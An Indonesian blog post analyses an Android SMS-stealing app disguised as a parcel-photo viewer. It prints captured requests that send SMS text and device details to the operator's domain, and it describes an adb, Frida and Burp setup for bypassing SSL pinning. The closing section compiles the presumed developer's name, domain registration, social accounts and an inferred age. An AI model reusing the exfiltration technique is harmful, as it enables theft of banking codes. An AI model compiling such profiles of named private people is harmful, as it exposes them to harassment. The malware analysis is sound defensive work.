Belakangan ini terjadi bentuk pencurian data & pencurian uang di ATM dengan modus menerima pesan lewat aplikasi “What’sApp Messanger” modusnya adalah korban dikirim sebuah pesan tentang pemesanan sebuah paket seperti gambar di bawah ini
Pada kasus yang lain percakapannya tidak seperti gambar di atas dan mungkin memiliki aplikasi yang berbeda juga seperti berita pada tautan berikut ini. Inti dari bentuk kejahatan digital ini adalah, korbannya di”hipnotis” dengan bentuk manipulasi psikologi “Apa benar ada sebuah paket?” maka si korban akan merasa “ah tidak” lalu korban akan terhipnotis sekali lagi untuk membuka sebuah file “LIHAT Foto Paket” tersebut, dalam kasus di atas untungnya si korban sadar dan langsung melakukan blokir ke nomor tersebut, tapi dalam kasus lain jika sudah terinstall dan diizinkan semua permission yang dibutuhkan oleh si aplikasi dan voila, semua “data” SMS akan tercuri dan dari sinilah kejahatan berikutnya berlanjut, **let me explain** in practical way.
Saya mendapatkan aplikasi “LIHAT Foto Paket.” di atas dari salah satu teman baik saya yaitu mas Bilal, terima kasih mas sayang banget <3. Saya sendiri tidak dapat menduga apakah aplikasi ini otentik dengan aplikasi yang sudah beredar untuk melakukan kejahatan, tapi YANG BISA SAYA PASTIKAN APLIKASI YANG SAYA TELITI INI JUGA SAMA JAHATNYA DENGAN MODUS KEJAHATAN YANG SEDANG BEREDAR SAYA BISA MEMBUKTIKAN ITU.
Informasi dasar mengenai aplikasi yang saya teliti ini dapat dilihat seperti gambar di bawah ini
Ukuran dari aplikasi tersebut adalah 5.5 mega, cukup besar bagi saya hanya untuk melakukan pencurian data. Mari lakukan decompile aplikasi ini, isi dari AndroidManifest.xml
adalah sebagai berikut ini
****Permission**** yang dibutuhkan adalah
Dengan dasar nama aplikasi com.rndytech.smstest
dengan package nama class-nya adalah package com.example.myapplication;
menarik untuk melihat MainActivity
class untuk memahami apa yang dilakukan oleh aplikasi ini
Singkatnya aplikasi ini hanya WebView aplikasi yang melakukan loading terhadap web JET (https://jet.co.id/track) lalu sisanya adalah melakukan pengecekan permission untuk ****READ SMS****, dari bagian kode di atas saja sudah sangat SUS karena jika memang ini aplikasi hanya untuk pengecekan JET RESI, kenapa butuh permission SMS? tapi tak apa, mari melihat lebih dalam di potongan kode yang lain
Dari sini kejahatan mulai terjadi, saat melakukan ****permission check**** ada potongan kode yang mengarahkan untuk hit ke REST API (https://randiramli.com) dengan isi detail dari **device** yang kita pakai, jahat ya. Untuk apa kebutuhan developer aplikasi mengetahui detail device kita? oh mungkin bagian dari pengembangan berkelanjutan? menarik. Mari lihat sekali lagi isi class yang ada dalam aplikasi ini
Ada class yang cukup menarik **ReceiveSMS** dengan isi seperti di bawah ini
Dan kejahatan terjadi pada kode di atas, sekali lagi kode di atas akan melakukan hit ke (https://randiramli.com) kali ini adalah saat handphone mendapatkan sebuah SMS, aplikasi ini akan mengirimkan juga ke REST API di atas pada parameter index.php?text=
dari sini penulis dapat menyimpulkan bahwa
Bagaimana penulis dapat melakukan kesimpulan di atas? pertama tidak ada kepentingan bagi para **developer** mengetahui isi dari SMS dari pengguna yang melakukan instalasi aplikasi ini, lalu bagaimana bisa aplikasi ini dapat menjadi titik awal tercurinya saldo M-Banking dari para pengguna yang menginstall biarkan saya melakukan perandaian dengan urutan berikut ini
Dari point-point di atas lah kemungkinan yang dapat terjadi dari penggunaan aplikasi di atas. Pesan moral yang dapat disampaikan di awal ini adalah JANGAN PERNAH INSTALL APLIKASI SELAIN DARI PLAYSTORE, itu langkah AWAL, langkah agak keras adalah INSTALL aplikasi yang umum saja, di bagian berikut ini penulis akan melakukan pembuktian sangat TEKNIS bagi pembaca di luar rumpun Informatika bisa berhenti sampai di sini, tapi kalau penasaran juga boleh.
Persiapan VM Device, penulis menggunakan device dengan informasi berikut ini dengan Hypervisor Android Studio
Penulis menggunakan Android 9.0 dengan arch X86_64 dengan API 28, tampilannya seperti berikut ini (jelek banget emang asem lah).
Lakukan install aplikasi dengan menggunakan adb
seperti pada gambar di bawah ini
Aplikasi sukses diinstall, namun pada halaman menu aplikasi android tidak ada 😃 waw, menarik.
Aplikasi yang saya install lewat adb
tidak ada 😃 hal-hal yang saya sensor adalah aplikasi NDA yang berhubungan dengan pekerjaan, namun menariknya aplikasi terinstall terlist di daftar aplikasi terinstall milik android 😃
Aplikasi terinstall dan terdaftar di system android
Menarik bukan? menurut asumsi penulis aplikasi tidak terdaftar di menu awal mungkin karena hal yang kurang compatible atau memang didesign seperti ini. Lalu? cara membuka aplikasi ini bagaimana? kita dapat melakukan force open lewat adb shell
pertama kita cari dulu nama package yang ada, daftarnya dapat dilihat di /data/data
Nama packagenya adalah com.rndytech.smstest
dari sini kita dapat melakukan **force open** dengan ****commands****
am start -n com.rndytech.smstest/com.example.myapplication.MainActivity
dengan format
am start -n com.example.example/com.package.com.NAMACLASSS
dan akan terbuka dengan tampilan seperti berikut ini
Sesuai dugaan, aplikasi akan meminta **permission** untuk akses ke SMS, setelah di allow
akan membuka aplikasinya seperti berikut ini
Terlihat normal, kan? tapi tidak. Harusnya di belakang layar akan melakukan hit ke REST API, tapi bagaimana bisa membuktikannya? Kita arahkan proxy AVD ke BurpSuite kita.
Dan setelah dibuka, aplikasi tidak mengerluarkan tampilan apapun asumsi penulis adalah karena ****Failed Handshake,**** karena secara stuktur coding pada aplikasi, memang ada SSL Pinning menggunakan okhttp3.
Kita bisa melakukan bypass SSL Pinning, karena tergolong mudah dan umum, bahkan saat menggunakan command
frida-ps -Uai
Aplikasinya pun tidak tersedia
Tapi tak apa, kita sudah mengetahui nama package-nya kita bisa buka paksa denggan menggunakan **script** frida **bypass ssl pinning**
Dan benar saja, aplikasi dapat ter-records **hit**-nya pada BurpSuite seperti berikut ini, benar saja webview dibuka dan pertama kali adalah membuka website Jet.co.id sebagai tampilan awal.
Sejauh aplikasi hanya dibuka, hanya ada request ke domain
Domain ****trust public**** yang mengekor pada website jet.co.id, lalu di mana letak pencurian datanya? mari sekali lagi melihat bagaimana proses pengiriman data ke ****REST API**** milik pemilik web/domain.
Pada bagian potongan kode di atas, hit akan dilakukan jika aplikasi TIDAK DIBERIKAN PERMISSION, maka mari hilangkan permissionya.
‘
Dan benar saja, aplikasi akan mulai melakukan hit ke rest api dengan endpoint
Dengan **device id** milik kita, isi dari data device id penulis adalah
batas ID : PSR1.180720.012
batas User : android-build
batas Product : sdk_phone_x86_64
batas Brand : Android
batas Device : generic_x86_64
batas Board : goldfish_x86_64
batas BOOTLOADER : unknown
batas DISPLAY : sdk_phone_x86_64-userdebug 9 PSR1.180720.012 4923214 test-keys
batas FINGERPRINT : Android/sdk_phone_x86_64/generic_x86_64:9/PSR1.180720.012/4923214:userdebug/test-keys
batas HARDWARE : ranchu
batas HOST : abfarm108
batas MANUFACTURER : unknown
batas MODEL : Android SDK built for x86_64
batas TAGS : test-keysbatas TYPE : userdebug
batas Product : 1533059510000
Saya tidak masalah melakukan expose data ini karena ini data dari VM saya, halo pembuat aplikasi, tandai! ini data diri saya.
Lalu, selanjutnya untuk melakukan trigger potongan kode di bawah ini
Kita harus mendapatkan sebuah SMS, untungnya kita memang dapat menerima sebuah SMS dari simulasi emulator ini, caranya adalah dengan
adb emu sms send "123" "Halo Penipu, aplikasimu sudah tercrack"
Akan mendapatkan notifikasi SMS seperti di bawah ini
Benar saja, saat ada SMS masuk, aplikasi akan langsung mengirimkan hit ke REST API seperti record yang saya dapatkan di burpsuite ini
isi dari requestnya adalah
GET /hide/satu/index.php?text=123,%20Pesan%20:%20Halo%20Penipu,%20aplikasimu%20sudah%20tercrack HTTP/2
Host: randiramli.com
Accept-Encoding: gzip, deflate
User-Agent: okhttp/4.9.0
dan
GET /hide/satu/enam%20php?text=123,%20Pesan%20:%20Halo%20Penipu,%20aplikasimu%20sudah%20tercrack HTTP/2
Host: randiramli.com
Accept-Encoding: gzip, deflate
User-Agent: okhttp/4.9.0
Benar saja yang ke-2 hitnya akan 404, karena dia typo menuliskan endpointnya, data-data yang dikirimkan adalah
123, Pesan : Halo Penipu, aplikasimu sudah tercrack
123 adalah nomor pengirim, isi dari pesan kita akan berada setelah ***prefix Pesan :
* dari ini sudah dapat dibuktikan bahwa DATA KITA DIKIRIMKAN KE ENDPOINT MILIK PEMBUAT APLIKASI. Pembuktian sekali lagi
Dan memang akan dikirimkan ke REST API, lagi.
GET /hide/satu/index.php?text=Penipu,%20Pesan%20:%20Halo%20Penipu%20PENIPUUUUUU HTTP/2
Host: randiramli.com
Accept-Encoding: gzip, deflate
User-Agent: okhttp/4.9.0
Lalu ada satu potongan code lagi di class ****SendSMS**** yang belum dapat disimulasikan, kode di bawah ini akan melakukan pengiriman SMS pada bagian kode berikut ini
SmsManager mysmsmanager = SmsManager.getDefault();
mysmsmanager.sendTextMessage(kata2, null, kata3, null, null);
Mengacu pada dokumentasi milik android
Potongan kode di atas harusnya untuk mengirimkan sebuah SMS, namun belum bisa dibuktikan oleh penulis mungkin dikarenakan device yang digunakan penulis adalah sebuah VM, sebagai tambahan berikut ini adalah isi dari local storage android dari aplikasi di atas
Sekali lagi, APLIKASI INI TERBUKTI MELAKUKAN PENCURIAN DATA terlepas dari otentik atau tidak dengan aplikasi yang beredar, MENURUT PENULIS aplikasi ini sudah melanggar kaidah-kaidah privasi antara pengembang dan pengguna aplikasi. Mari, sekali lagi penulis akan melakukan tracking lebih jauh terhadap informasi-informasi yang sudah tersedia mulai dari domain
Memiliki ip address
Ternyata menggunakan cloudflare 🙂 lalu, bagaimana kalau websitenya dibuka?
Akan mengeluarkan umpatan seperti di atas, lalu penulis mendapatkan beberapa path yang terbuka pada website
[10:16:27] 200 - 3KB - /api/
[10:16:59] 200 - 13B - /index.php/login/
[10:16:59] 200 - 13B - /index.php
[10:17:39] 200 - 0B - /test/
pada path /api
terdapat tampilan seperti berikut ini
Bisa diasumsikan dari inisial “RNDY” bisa dibaca Randi
atau Rendy
atau Randy
seperti nama domainnya, penulis mendapatkan mapping alur domain dan subdomainnya seperti gambar di bawah ini
Dengan detail seperti berikut ini
Ada banyak subdomain terdaftar, namun yang menarik adalah tampilan dari subdomain [kumpulanscript.randiramli.com](http://kumpulanscript.randiramli.com)
Sepertinya, domain ini dibeli melalui provider DomainNesia
mari kita check menggunakan [who.is](http://who.is)
Domainnya dibeli pada tahun lalu di bulan Desember tanggal 30, dekat-dekat dengan tahun baru dan habis pada tahun ini di bulan ini juga, informasi detail yang lainnya adalah
Valid, pembeli dan pemiliknya bernama Randi Ramli
dengan nomor telfon dan email yang mirip dengan namanya, penulis melakukan pengecekan pada nomor yang tertera pada domain tersebut dan mendapatkan informasi yang mirip dengan nama tersebut
Lalu
Lalu
Nama-nama dari nomor tersebut sangat otentik dan identik dengan hal-hal yang berbau dengan teknologi dan coding. Penulis mendapatkan sebuah path yang ada di website dengan tampilan seperti berikut ini
Penulis lalu mendapatkan sebuah informasi pribadi dari pemilik web/domain dengan menemukan sebuah instagram pemilik website ini
https://www.instagram.com/rndyinhere/
Dengan tampilan post yang penulis asumsikan adalah tahun lahir dari si pemilik akun
Asumsi penulis, pemilik web/domain bernama Randi Ramli memiliki tanggal lahir 30 Januari 2004 (18 tahun). Orang-orang terkait yang diikuti oleh pemilik web/domain adalah sebagai berikut ini
Penulis melakukan pencarian lagi dengan menemukan domain yang mirip dengan beda TLD saja yaitu https://www.randiramli.my.id/ ****dan memiliki tampilan seperti berikut ini
Dan menemukan akun telegram
Terima kasih sudah membaca, semua hal-hal yang ada di tulisan ini didapatkan secara umum melalui informasi yang didapatkan dari GoogleFU. Semoga menjadi pertimbangan kesadaran lebih untuk tidak gampang melakukan instalasi terhadap sebuah aplikasi. Mohon maaf jika ada kesalahan yang tertulis, dari hati yang tulus paling dalam Nikko Enggaliano.